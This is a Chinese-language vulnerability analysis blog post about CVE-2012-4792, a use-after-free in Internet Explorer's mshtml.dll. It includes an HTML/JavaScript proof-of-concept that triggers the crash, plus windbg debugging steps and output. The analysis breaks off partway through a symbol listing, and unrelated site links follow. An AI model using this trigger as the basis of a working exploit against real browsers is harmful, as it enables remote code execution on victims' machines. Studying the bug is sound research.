漏洞分析之CVE-2012-4792(UAF)

2024-02-03 12:59
文章标签 分析 漏洞 2012 cve uaf 4792

本文主要是介绍漏洞分析之CVE-2012-4792(UAF),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x00 漏洞简介

2012年9月,通用漏洞与披露平台发布了一个存在IE浏览器的UAF漏洞。
报告指出:Microsoft Internet Explorer 6至9版本中的mshtml.dll中的CMshtmlEd::Exec函数中存在释放后使用漏洞。远程攻击者可利用该漏洞通过特制的网站,执行任意代码。

0x01 测试环境

操作系统:Windows XP sp3

浏览器:IE 8.00.6001.18702

漏洞文件:mshtml 8.00.6001.18702

调试器:windbg x86

利用windbg辅助工具设置系统堆栈调试功能

C:\Documents and Settings\Administrator>gflags.exe -I iexplore.exe +hpa +ust
Current Registry Settings for iexplore.exe executable are: 02001000ust - Create user mode stack trace databasehpa - Enable page heap

0x02 漏洞验证

首先给出一段简单的poc验证CVE漏洞

<!doctype html>
<html>
<head>
<script> 
function exploit()
{var e0 = null;var e1 = null;var e2 = null; try {e0 = document.getElementById("a");e1 = document.createElement("div");e2 = document.createElement("q");e1.applyElement(e2);e1.appendChild(document.createElement('button'));e1.applyElement(e0);e2.innerHTML = "";e2.appendChild(document.createElement('body'));} catch(e) { }CollectGarbage(); 
} 
</script> 
</head>
<body onload="exploit()">
<form id="a">
</form>
</body>
</html>

利用windbg attach IE 后 输入g继续运行运行,点击运行阻止的内容
这里写图片描述
这里写图片描述

观察windbg中代码停止的位置
这里写图片描述
结果发现edi(目测是一个申请堆的地址)是无效地址,程序崩溃。
这里应该取对象的虚表时发现地址不可取
这里写图片描述
下面会有调用虚表中的函数操作,那才是我们需要控制程序流的地方。

0x03 漏洞原理

首先我们利用!heap –p –a edi查看堆的相关操作
这里写图片描述

我们从中可以看到,edi已经是释放后的堆了,这里mov eax,dword ptr[edi]
又对释放后的堆,再次使用。

下面有几个关键的问题没有解决:

  1. 什么时候创建的堆
  2. 什么时候释放的堆
  3. 什么时候使用的堆

0x1 堆的创建

为了方便查找堆的创建,在windbg加载IE后查看所有关于CButton的函数
我们可以得到一些有用的信息

0:005> x mshtml!CButton::*
6a28f234 mshtml!CButton::HandleMessage = <no type information>
6a28ee18 mshtml!CButton::s_classdescTagButton = <no type information>
6a28ed83 mshtml!CButton::GetAAtype = <no type information>
6a28f862 mshtml!CButton::GetValueHelper = <no type information>
6a28ef62 mshtml!CButton::GetEnabled = <no type information>
6a28f36a mshtml!CButton::GetThemeState = <no type information>
6a28f75d mshtml!CButton::get_status = <no type information>
6a28ee41 mshtml!CButton::CreateElement = <no type information>//很明显是一个按钮创建的过程
6a28f035 mshtml!CButton::Notify = <no type information>
6a0c4750 mshtml!CButton::s_StringTable = <no type information>
6a28f1e0 mshtml!CButton::GetFocusShape = <no type information>
6a28f8eb mshtml!CButton::SetStatusText = <no type information>
6a28f70d mshtml!CButton::put_status = <no type information>
6a28f128 mshtml!CButton::YieldCurrency = <no type information>
6a0b0d8c mshtml!CButton::GetBtnHelper = <no type information>
6a28ef95 mshtml!CButton::GetBorderInfo = <no type information>
6a28f2f0 mshtml!CButton::ClickAction = <no type information>
6a298d55 mshtml!CButton::createTextRange = <no type information>
6a28f87d mshtml!CButton::SetValueHelper = <no type information>
6a28eda5 mshtml!CButton::GetClassDesc = <no type information>
6a28f3c2 mshtml!CButton::ApplyDefaultFormat = <no type information>
6a28ef0d mshtml!CButton::GetSubmitInfo = <no type information>
6a029d70 mshtml!CButton::s_apfnpdIHTMLButtonElement = <no type information>
6a0ad720 mshtml!CButton::s_acpi = <no type information>
6a0b0338 mshtml!CButton::GetNonThemedBorderInfo = <no type information>
6a28f10b mshtml!CButton::AddCtxInfoToStream = <no type information>
6a0c4740 mshtml!CButton::s_StringTableAggregate = <no type information>
6a28f337 mshtml!CButton::GetThemeProperties = <no type information>
6a28f7a3 mshtml!CButton::GetValue = <no type information>
6a28edf4 mshtml!CButton::s_classdescButtonSubmit = <no type information>
6a28eeb8 mshtml!CButton::Init2 = <no type information>
6a188ee4 mshtml!CButton::s_apHdlDescs = <no type information>
6a188f00 mshtml!CButton::s_ppropdescsInVtblOrderIHTMLButtonElement = <no type information>
6a28ed27 mshtml!CButton::`scalar deleting destructor' = <no type information>//猜测是按钮销毁的过程
6a0c4780 mshtml!CButton::s_AssocVTablePtr = <no type 

这篇关于漏洞分析之CVE-2012-4792(UAF)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/674227

相关文章

python panda库从基础到高级操作分析

《pythonpanda库从基础到高级操作分析》本文介绍了Pandas库的核心功能,包括处理结构化数据的Series和DataFrame数据结构,数据读取、清洗、分组聚合、合并、时间序列分析及大数据... 目录1. Pandas 概述2. 基本操作:数据读取与查看3. 索引操作:精准定位数据4. Group

MySQL中EXISTS与IN用法使用与对比分析

《MySQL中EXISTS与IN用法使用与对比分析》在MySQL中,EXISTS和IN都用于子查询中根据另一个查询的结果来过滤主查询的记录,本文将基于工作原理、效率和应用场景进行全面对比... 目录一、基本用法详解1. IN 运算符2. EXISTS 运算符二、EXISTS 与 IN 的选择策略三、性能对比

MySQL 内存使用率常用分析语句

《MySQL内存使用率常用分析语句》用户整理了MySQL内存占用过高的分析方法,涵盖操作系统层确认及数据库层bufferpool、内存模块差值、线程状态、performance_schema性能数据... 目录一、 OS层二、 DB层1. 全局情况2. 内存占js用详情最近连续遇到mysql内存占用过高导致

深度解析Nginx日志分析与499状态码问题解决

《深度解析Nginx日志分析与499状态码问题解决》在Web服务器运维和性能优化过程中,Nginx日志是排查问题的重要依据,本文将围绕Nginx日志分析、499状态码的成因、排查方法及解决方案展开讨论... 目录前言1. Nginx日志基础1.1 Nginx日志存放位置1.2 Nginx日志格式2. 499

Olingo分析和实践之EDM 辅助序列化器详解(最佳实践)

《Olingo分析和实践之EDM辅助序列化器详解(最佳实践)》EDM辅助序列化器是ApacheOlingoOData框架中无需完整EDM模型的智能序列化工具,通过运行时类型推断实现灵活数据转换,适用... 目录概念与定义什么是 EDM 辅助序列化器?核心概念设计目标核心特点1. EDM 信息可选2. 智能类

Olingo分析和实践之OData框架核心组件初始化(关键步骤)

《Olingo分析和实践之OData框架核心组件初始化(关键步骤)》ODataSpringBootService通过初始化OData实例和服务元数据,构建框架核心能力与数据模型结构,实现序列化、URI... 目录概述第一步:OData实例创建1.1 OData.newInstance() 详细分析1.1.1

Olingo分析和实践之ODataImpl详细分析(重要方法详解)

《Olingo分析和实践之ODataImpl详细分析(重要方法详解)》ODataImpl.java是ApacheOlingoOData框架的核心工厂类,负责创建序列化器、反序列化器和处理器等组件,... 目录概述主要职责类结构与继承关系核心功能分析1. 序列化器管理2. 反序列化器管理3. 处理器管理重要方

SpringBoot中六种批量更新Mysql的方式效率对比分析

《SpringBoot中六种批量更新Mysql的方式效率对比分析》文章比较了MySQL大数据量批量更新的多种方法,指出REPLACEINTO和ONDUPLICATEKEY效率最高但存在数据风险,MyB... 目录效率比较测试结构数据库初始化测试数据批量修改方案第一种 for第二种 case when第三种

解决1093 - You can‘t specify target table报错问题及原因分析

《解决1093-Youcan‘tspecifytargettable报错问题及原因分析》MySQL1093错误因UPDATE/DELETE语句的FROM子句直接引用目标表或嵌套子查询导致,... 目录报js错原因分析具体原因解决办法方法一:使用临时表方法二:使用JOIN方法三:使用EXISTS示例总结报错原

MySQL中的LENGTH()函数用法详解与实例分析

《MySQL中的LENGTH()函数用法详解与实例分析》MySQLLENGTH()函数用于计算字符串的字节长度,区别于CHAR_LENGTH()的字符长度,适用于多字节字符集(如UTF-8)的数据验证... 目录1. LENGTH()函数的基本语法2. LENGTH()函数的返回值2.1 示例1:计算字符串